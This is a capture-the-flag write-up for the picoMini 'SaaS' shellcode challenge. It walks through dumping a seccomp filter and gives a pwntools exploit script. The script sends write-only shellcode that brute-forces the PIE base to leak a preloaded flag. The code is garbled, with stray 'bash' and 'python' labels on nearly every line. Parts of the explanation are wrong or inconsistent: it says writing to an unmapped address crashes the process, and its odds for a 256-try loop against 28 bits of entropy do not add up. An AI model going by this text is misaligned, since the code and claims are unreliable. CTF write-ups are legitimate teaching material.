SaaS picoMini by redpwn Solution

Published: April 2, 2026

Description

Shellcode as a Service.

Connect to the challenge server with netcat.

Download the binary to analyze the seccomp filter locally.

bash
nc <challenge_host> <PORT_FROM_INSTANCE>
bash
wget <challenge_url>/saas  # binary for local analysis
  1. Step 1Analyze the seccomp filter with seccomp-tools
    Install seccomp-tools and dump the BPF filter from the binary. This reveals exactly which syscalls are allowed, which are blocked, and what action is taken on a violation (KILL, TRAP, or ERRNO).
    bash
    gem install seccomp-tools
    bash
    seccomp-tools dump ./saas
    bash
    # Or disassemble the filter from binary directly:
    bash
    seccomp-tools disasm <filter_bytes>
    Learn more

    seccomp (Secure Computing Mode) is a Linux kernel mechanism that restricts which syscalls a process can make. In filter mode, the process installs a BPF (Berkeley Packet Filter) program that the kernel runs against every syscall. The BPF program can allow, deny, or kill the process based on the syscall number and arguments.

    seccomp-tools disassembles these BPF programs into human-readable output like A = sys_number; if A == write: ALLOW; else: KILL. This is essential before writing shellcode - you need to know which syscalls are permitted. For this challenge the filter is unusually tight: only write to fd 1, exit, and exit_group are allowed. open, read, and execve are all killed.

  2. Step 2Write write-only memory-scanner shellcode
    Because open and read are both blocked, ORW shellcode is killed the moment it hits the open syscall. The correct approach exploits the fact that load_flag() pre-loads the flag into a 64-byte global buffer before setup() installs the seccomp filter. Your shellcode never needs to touch the filesystem: write a loop that calls sys_write(1, candidate_addr, 64) for increasing candidate addresses. When the address lands in the mapped data segment the write succeeds and you see the flag scroll past. Since PIE randomizes the base, brute-force the high-order address byte starting from a plausible range (e.g. 0x5500_0000_2060) and step by 0x10_0000 each iteration.
    bash
    # exploit.py
    python
    from pwn import *
    bash
    context.arch = 'amd64'
    bash
    python
    def make_shellcode(addr):
    bash
        return asm(f'''
    bash
            /* write(1, {addr:#x}, 64) */
    bash
            mov rsi, {addr:#x}
    bash
            mov edi, 1
    bash
            mov edx, 64
    bash
            mov eax, 1
    bash
            syscall
    bash
            /* exit(0) */
    bash
            xor edi, edi
    bash
            mov eax, 60
    bash
            syscall
    bash
        ''')
    bash
    bash
    base = 0x550000000000
    bash
    flag_offset = 0x2060   # typical PIE .bss offset for flag global
    bash
    step = 0x100000
    bash
    for i in range(0x100):
    bash
        candidate = (base + i * step) | flag_offset
    bash
        p = remote('<host>', <PORT_FROM_INSTANCE>)
    bash
        sc = make_shellcode(candidate)
    bash
        p.send(sc)
    bash
        try:
    bash
            data = p.recvall(timeout=1)
    bash
            if b'picoCTF' in data:
    python
                print(data)
    bash
                break
    bash
        except:
    bash
            pass
    bash
        p.close()
    Learn more

    The binary calls load_flag() to read /flag into a char flag[64] global, then calls setup() which installs the seccomp BPF filter and only then mmap-executes your shellcode. By the time your code runs, the flag bytes are already live in the process image - no file I/O is needed or possible.

    Why ORW fails here: the seccomp filter's action on open (syscall 2) and read (syscall 0) is KILL. The kernel terminates the process at the first disallowed syscall, so a classic open-read-write chain never reaches the read step.

    Why the write loop works: write to fd 1 and exit/exit_group are the only allowed syscalls. Writing to an unmapped address raises SIGSEGV (the process crashes), but writing to a valid mapped address succeeds and the bytes come back over the socket. You iterate candidate addresses until one returns data containing picoCTF.

    PIE randomizes the base address but the entropy is limited (typically 28 bits on 64-bit Linux with ASLR level 2). The flag global sits at a fixed offset from the PIE base (visible in objdump -t saas | grep flag), so you only need to brute-force the base itself.

  3. Step 3Run the exploit and capture the flag
    Run the exploit script. Each iteration probes a different candidate base address with a single sys_write call. When the candidate falls inside the binary's mapped data segment, the flag bytes are written back to stdout and you capture them.
    python
    python3 exploit.py
    bash
    # When the correct address is hit, output resembles:
    bash
    # picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}\x00\x00...
    Learn more

    The challenge name SaaS (Shellcode as a Service) mirrors cloud service acronyms (SaaS, PaaS, IaaS). The server is literally a shellcode execution service - it reads bytes, maps them RWX, and jumps to them. The seccomp filter is the only defense.

    Because each probe attempt crashes or closes the connection, you need a fresh TCP connection per iteration. pwntools' remote() handles reconnection cleanly. Expect to iterate up to a few hundred times before the address space aligns; in practice the flag usually appears within the first 50 to 100 attempts.

Flag

picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}

The seccomp filter allows only write(fd=1) and exit - open and read are blocked. The flag is pre-loaded into a global buffer before seccomp is installed, so the real exploit is a write-only memory scanner that brute-forces the PIE base address and calls sys_write(1, flag_addr, 64) until it hits the correct mapping.

Want more picoMini by redpwn writeups?

Useful tools for Binary Exploitation

Related reading

What to try next